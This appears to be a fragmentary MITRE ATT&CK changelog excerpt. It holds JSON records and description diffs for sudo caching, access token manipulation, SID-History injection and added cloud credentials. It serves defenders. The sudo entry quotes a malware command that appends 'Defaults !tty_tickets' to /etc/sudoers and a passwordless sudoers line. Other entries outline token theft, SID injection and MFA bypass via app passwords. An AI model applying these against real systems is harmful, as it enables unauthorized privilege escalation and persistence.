"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform sudo caching and/or use the sudoers | t | 1 | Adversaries may perform sudo caching and/or use the sudoers |
| > | file to elevate privileges. Adversaries may do this to execu | > | file to elevate privileges. Adversaries may do this to execu | ||
| > | te commands as other users or spawn processes with higher pr | > | te commands as other users or spawn processes with higher pr | ||
| > | ivileges. Within Linux and MacOS systems, sudo (sometimes r | > | ivileges. Within Linux and MacOS systems, sudo (sometimes r | ||
| > | eferred to as \"superuser do\") allows users to perform comman | > | eferred to as \"superuser do\") allows users to perform comman | ||
| > | ds from terminals with elevated privileges and to control wh | > | ds from terminals with elevated privileges and to control wh | ||
| > | o can perform these commands on the system. The <code>sudo</ | > | o can perform these commands on the system. The <code>sudo</ | ||
| > | code> command \"allows a system administrator to delegate aut | > | code> command \"allows a system administrator to delegate aut | ||
| > | hority to give certain users (or groups of users) the abilit | > | hority to give certain users (or groups of users) the abilit | ||
| > | y to run some (or all) commands as root or another user whil | > | y to run some (or all) commands as root or another user whil | ||
| > | e providing an audit trail of the commands and their argumen | > | e providing an audit trail of the commands and their argumen | ||
| > | ts.\"(Citation: sudo man page 2018) Since sudo was made for t | > | ts.\"(Citation: sudo man page 2018) Since sudo was made for t | ||
| > | he system administrator, it has some useful configuration fe | > | he system administrator, it has some useful configuration fe | ||
| > | atures such as a <code>timestamp_timeout</code>, which is th | > | atures such as a <code>timestamp_timeout</code>, which is th | ||
| > | e amount of time in minutes between instances of <code>sudo< | > | e amount of time in minutes between instances of <code>sudo< | ||
| > | /code> before it will re-prompt for a password. This is beca | > | /code> before it will re-prompt for a password. This is beca | ||
| > | use <code>sudo</code> has the ability to cache credentials f | > | use <code>sudo</code> has the ability to cache credentials f | ||
| > | or a period of time. Sudo creates (or touches) a file at <co | > | or a period of time. Sudo creates (or touches) a file at <co | ||
| > | de>/var/db/sudo</code> with a timestamp of when sudo was las | > | de>/var/db/sudo</code> with a timestamp of when sudo was las | ||
| > | t run to determine this timeout. Additionally, there is a <c | > | t run to determine this timeout. Additionally, there is a <c | ||
| > | ode>tty_tickets</code> variable that treats each new tty (te | > | ode>tty_tickets</code> variable that treats each new tty (te | ||
| > | rminal session) in isolation. This means that, for example, | > | rminal session) in isolation. This means that, for example, | ||
| > | the sudo timeout of one tty will not affect another tty (you | > | the sudo timeout of one tty will not affect another tty (you | ||
| > | will have to type the password again). The sudoers file, < | > | will have to type the password again). The sudoers file, < | ||
| > | code>/etc/sudoers</code>, describes which users can run whic | > | code>/etc/sudoers</code>, describes which users can run whic | ||
| > | h commands and from which terminals. This also describes whi | > | h commands and from which terminals. This also describes whi | ||
| > | ch commands users can run as other users or groups. This pro | > | ch commands users can run as other users or groups. This pro | ||
| > | vides the principle of least privilege such that users are r | > | vides the principle of least privilege such that users are r | ||
| > | unning in their lowest possible permissions for most of the | > | unning in their lowest possible permissions for most of the | ||
| > | time and only elevate to other users or permissions as neede | > | time and only elevate to other users or permissions as neede | ||
| > | d, typically by prompting for a password. However, the sudoe | > | d, typically by prompting for a password. However, the sudoe | ||
| > | rs file can also specify when to not prompt users for passwo | > | rs file can also specify when to not prompt users for passwo | ||
| > | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | > | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | ||
| > | de>.(Citation: OSX.Dok Malware) Elevated privileges are requ | > | de>.(Citation: OSX.Dok Malware) Elevated privileges are requ | ||
| > | ired to edit this file though. Adversaries can also abuse p | > | ired to edit this file though. Adversaries can also abuse p | ||
| > | oor configurations of these mechanisms to escalate privilege | > | oor configurations of these mechanisms to escalate privilege | ||
| > | s without needing the user's password. For example, <code>/v | > | s without needing the user's password. For example, <code>/v | ||
| > | ar/db/sudo</code>'s timestamp can be monitored to see if it | > | ar/db/sudo</code>'s timestamp can be monitored to see if it | ||
| > | falls within the <code>timestamp_timeout</code> range. If it | > | falls within the <code>timestamp_timeout</code> range. If it | ||
| > | does, then malware can execute sudo commands without needin | > | does, then malware can execute sudo commands without needin | ||
| > | g to supply the user's password. Additional, if <code>tty_ti | > | g to supply the user's password. Additionally, if <code>tty_ | ||
| > | ckets</code> is disabled, adversaries can do this from any t | > | tickets</code> is disabled, adversaries can do this from any | ||
| > | ty for that user. In the wild, malware has disabled <code>t | > | tty for that user. In the wild, malware has disabled <code | ||
| > | ty_tickets</code> to potentially make scripting easier by is | > | >tty_tickets</code> to potentially make scripting easier by | ||
| > | suing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</ | > | issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers | ||
| > | code>.(Citation: cybereason osx proton) In order for this ch | > | </code>.(Citation: cybereason osx proton) In order for this | ||
| > | ange to be reflected, the malware also issued <code>killall | > | change to be reflected, the malware also issued <code>killal | ||
| > | Terminal</code>. As of macOS Sierra, the sudoers file has <c | > | l Terminal</code>. As of macOS Sierra, the sudoers file has | ||
| > | ode>tty_tickets</code> enabled by default. | > | <code>tty_tickets</code> enabled by default. |
runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134",
"external_id": "T1134"
},
{
"source_name": "Pentestlab Token Manipulation",
"description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
"url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Tom Ueltschi @c_APT_ure",
"Travis Smith, Tripwire",
"Robby Winchester, @robwinchester3",
"Jared Atkinson, @jaredcatkinson"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:48:27.890000+00:00\", \"old_value\": \"2026-05-12 15:12:00.722000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\\n\\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n\\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\", \"old_value\": \"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\\n\\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n\\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\\n \\n-An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n+An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n \\n Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify access tokens to operate under a diff | t | 1 | Adversaries may modify access tokens to operate under a diff |
| > | erent user or system security context to perform actions and | > | erent user or system security context to perform actions and | ||
| > | bypass access controls. Windows uses access tokens to deter | > | bypass access controls. Windows uses access tokens to deter | ||
| > | mine the ownership of a running process. A user can manipula | > | mine the ownership of a running process. A user can manipula | ||
| > | te access tokens to make a running process appear as though | > | te access tokens to make a running process appear as though | ||
| > | it is the child of a different process or belongs to someone | > | it is the child of a different process or belongs to someone | ||
| > | other than the user that started the process. When this occ | > | other than the user that started the process. When this occ | ||
| > | urs, the process also takes on the security context associat | > | urs, the process also takes on the security context associat | ||
| > | ed with the new token. An adversary can use built-in Window | > | ed with the new token. An adversary can use built-in Window | ||
| > | s API functions to copy access tokens from existing processe | > | s API functions to copy access tokens from existing processe | ||
| > | s; this is known as token stealing. These token can then be | > | s; this is known as token stealing. These tokens can then be | ||
| > | applied to an existing process (i.e. [Token Impersonation/Th | > | applied to an existing process (i.e. [Token Impersonation/T | ||
| > | eft](https://attack.mitre.org/techniques/T1134/001)) or used | > | heft](https://attack.mitre.org/techniques/T1134/001)) or use | ||
| > | to spawn a new process (i.e. [Create Process with Token](ht | > | d to spawn a new process (i.e. [Create Process with Token](h | ||
| > | tps://attack.mitre.org/techniques/T1134/002)). An adversary | > | ttps://attack.mitre.org/techniques/T1134/002)). An adversary | ||
| > | must already be in a privileged user context (i.e. administr | > | must already be in a privileged user context (i.e. administ | ||
| > | ator) to steal a token. However, adversaries commonly use to | > | rator) to steal a token. However, adversaries commonly use t | ||
| > | ken stealing to elevate their security context from the admi | > | oken stealing to elevate their security context from the adm | ||
| > | nistrator level to the SYSTEM level. An adversary can then u | > | inistrator level to the SYSTEM level. An adversary can then | ||
| > | se a token to authenticate to a remote system as the account | > | use a token to authenticate to a remote system as the accoun | ||
| > | for that token if the account has appropriate permissions o | > | t for that token if the account has appropriate permissions | ||
| > | n the remote system.(Citation: Pentestlab Token Manipulation | > | on the remote system.(Citation: Pentestlab Token Manipulatio | ||
| > | ) Any standard user can use the <code>runas</code> command, | > | n) Any standard user can use the <code>runas</code> command | ||
| > | and the Windows API functions, to create impersonation toke | > | , and the Windows API functions, to create impersonation tok | ||
| > | ns; it does not require access to an administrator account. | > | ens; it does not require access to an administrator account. | ||
| > | There are also other mechanisms, such as Active Directory fi | > | There are also other mechanisms, such as Active Directory f | ||
| > | elds, that can be used to modify access tokens. | > | ields, that can be used to modify access tokens. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use SID-History Injection to escalate privil | t | 1 | Adversaries may use SID-History Injection to escalate privil |
| > | eges and bypass access controls. The Windows security identi | > | eges and bypass access controls. The Windows security identi | ||
| > | fier (SID) is a unique value that identifies a user or group | > | fier (SID) is a unique value that identifies a user or group | ||
| > | account. SIDs are used by Windows security in both security | > | account. SIDs are used by Windows security in both security | ||
| > | descriptors and access tokens. (Citation: Microsoft SID) An | > | descriptors and access tokens.(Citation: Microsoft SID) An | ||
| > | account can hold additional SIDs in the SID-History Active | > | account can hold additional SIDs in the SID-History Active D | ||
| > | Directory attribute (Citation: Microsoft SID-History Attribu | > | irectory attribute, allowing inter-operable account migratio | ||
| > | te), allowing inter-operable account migration between domai | > | n between domains (e.g., all values in SID-History are inclu | ||
| > | ns (e.g., all values in SID-History are included in access t | > | ded in access tokens).(Citation: Microsoft SID-History Attri | ||
| > | okens). With Domain Administrator (or equivalent) rights, h | > | bute) With Domain Administrator (or equivalent) rights, ha | ||
| > | arvested or well-known SID values (Citation: Microsoft Well | > | rvested or well-known SID values(Citation: Microsoft Well Kn | ||
| > | Known SIDs Jun 2017) may be inserted into SID-History to ena | > | own SIDs Jun 2017) may be inserted into SID-History to enabl | ||
| > | ble impersonation of arbitrary users/groups such as Enterpri | > | e impersonation of arbitrary users/groups such as Enterprise | ||
| > | se Administrators. This manipulation may result in elevated | > | Administrators. This manipulation may result in elevated ac | ||
| > | access to local resources and/or access to otherwise inacces | > | cess to local resources and/or access to otherwise inaccessi | ||
| > | sible domains via lateral movement techniques such as [Remot | > | ble domains via lateral movement techniques such as [Remote | ||
| > | e Services](https://attack.mitre.org/techniques/T1021), [SMB | > | Services](https://attack.mitre.org/techniques/T1021), [SMB/W | ||
| > | /Windows Admin Shares](https://attack.mitre.org/techniques/T | > | indows Admin Shares](https://attack.mitre.org/techniques/T10 | ||
| > | 1021/002), or [Windows Remote Management](https://attack.mit | > | 21/002), or [Windows Remote Management](https://attack.mitre | ||
| > | re.org/techniques/T1021/006). | > | .org/techniques/T1021/006). |
CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/001",
"external_id": "T1098.001"
},
{
"source_name": "Crowdstrike AWS User Federation Persistence",
"description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
"url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
},
{
"source_name": "Expel IO Evil in AWS",
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"source_name": "SpecterOps Azure Privilege Escalation",
"description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
"url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
},
{
"source_name": "Demystifying Azure AD Service Principals",
"description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
"url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
},
{
"source_name": "Lacework AI Resource Hijacking 2024",
"description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
"url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
},
{
"source_name": "GCP SSH Key Add",
"description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
"url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
},
{
"source_name": "Permiso Scattered Spider 2023",
"description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
"url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
},
{
"source_name": "Blue Cloud of Death Video",
"description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
"url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
},
{
"source_name": "Blue Cloud of Death",
"description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
"url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
},
{
"source_name": "Microsoft Entra ID App Passwords",
"description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
"url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
},
{
"source_name": "Microsoft SolarWinds Customer Guidance",
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"source_name": "Mandiant APT42-untangling",
"description": "Rozmann, O., et al. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved October 9, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
},
{
"source_name": "Expel Behind the Scenes",
"description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
"url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
},
{
"source_name": "Sysdig ScarletEel 2.0",
"description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
"url": "https://sysdig.com/blog/scarleteel-2-0/"
},
{
"source_name": "Rhino Security Labs AWS Privilege Escalation",
"description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
"url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Expel",
"Oleg Kolesnikov, Securonix",
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
"Zur Ulianitzky, XM Cyber",
"Alex Soler, AttackIQ",
"Dylan Silva, AWS Security",
"Arad Inbar, Fidelis Security",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"SaaS"
],
"x_mitre_version": "2.8",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:15:27.307000+00:00\", \"old_value\": \"2026-09-17 17:49:30.904000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n\\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n\\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n\\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n\\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)\\n\\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\", \"old_value\": \"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\\n\\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\\n\\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\\n\\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n\\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n(Citation: Crowdstrike AWS User Federation Persistence)\\n\\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\", \"diff\": \"--- \\n+++ \\n@@ -6,7 +6,6 @@\\n \\n Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n \\n-In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n-(Citation: Crowdstrike AWS User Federation Persistence)\\n+In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)\\n \\n In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\"}}}",
"previous_version": "2.8",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may add adversary-controlled credentials to a cl | t | 1 | Adversaries may add adversary-controlled credentials to a cl |
| > | oud account to maintain persistent access to victim accounts | > | oud account to maintain persistent access to victim accounts | ||
| > | and instances within the environment. For example, adversa | > | and instances within the environment. For example, adversa | ||
| > | ries may add credentials for Service Principals and Applicat | > | ries may add credentials for Service Principals and Applicat | ||
| > | ions in addition to existing legitimate credentials in Azure | > | ions in addition to existing legitimate credentials in Azure | ||
| > | / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc | > | / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc | ||
| > | e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De | > | e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De | ||
| > | ath Video) These credentials include both x509 keys and pass | > | ath Video) These credentials include both x509 keys and pass | ||
| > | words.(Citation: Microsoft SolarWinds Customer Guidance) Wit | > | words.(Citation: Microsoft SolarWinds Customer Guidance) Wit | ||
| > | h sufficient permissions, there are a variety of ways to add | > | h sufficient permissions, there are a variety of ways to add | ||
| > | credentials including the Azure Portal, Azure command line | > | credentials including the Azure Portal, Azure command line | ||
